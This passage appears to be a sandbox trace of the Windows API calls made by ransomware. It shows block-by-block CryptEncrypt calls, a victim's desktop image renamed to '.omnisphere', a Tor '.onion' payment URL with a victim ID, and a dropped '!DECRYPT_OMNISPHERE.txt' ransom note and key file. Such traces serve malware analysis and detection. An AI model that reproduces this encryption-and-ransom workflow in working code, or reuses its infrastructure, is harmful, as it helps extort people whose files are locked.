pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.411] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.412] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.413] CryptDestroyKey (hKey=0x1639968) returned 1 [0163.413] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0163.413] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc1d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.413] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.414] GetProcessHeap () returned 0x1600000 [0163.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26a) returned 0x1772058 [0163.414] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\d7kc-dzca.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\d7kc-dzca.jpg.omnisphere")) returned 1 [0163.417] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg.omnisphere.id" [0163.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\d7kc-dzca.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.420] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.421] CloseHandle (hObject=0x3bc) returned 1 [0163.422] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.422] CloseHandle (hObject=0x380) returned 1 [0163.422] SetEndOfFile (hFile=0x39c) returned 1 [0163.424] FlushFileBuffers (hFile=0x39c) returned 1 [0163.430] CloseHandle (hObject=0x39c) returned 1 [0163.430] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.430] GetProcessHeap () returned 0x1600000 [0163.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17722d0 [0163.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.431] GetProcessHeap () returned 0x1600000 [0163.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733450 [0163.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733450, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.431] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.431] GetProcessHeap () returned 0x1600000 [0163.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f400 [0163.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f400, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.431] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.431] GetProcessHeap () returned 0x1600000 [0163.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d010 [0163.431] PathCombineW (in: pszDest=0x164d010, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.431] GetProcessHeap () returned 0x1600000 [0163.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176e0f8 [0163.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.431] WriteFile (in: hFile=0x39c, lpBuffer=0x176e0f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176e0f8*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.432] CloseHandle (hObject=0x39c) returned 1 [0163.432] GetProcessHeap () returned 0x1600000 [0163.432] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17722d0 | out: hHeap=0x1600000) returned 1 [0163.432] GetProcessHeap () returned 0x1600000 [0163.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a110 [0163.432] PathCombineW (in: pszDest=0x163a110, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.433] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.433] CloseHandle (hObject=0x39c) returned 1 [0163.433] GetProcessHeap () returned 0x1600000 [0163.433] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a110 | out: hHeap=0x1600000) returned 1 [0163.433] GetProcessHeap () returned 0x1600000 [0163.433] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692058 | out: hHeap=0x1600000) returned 1 [0163.433] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17fadf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x17fadf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2182ef, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, 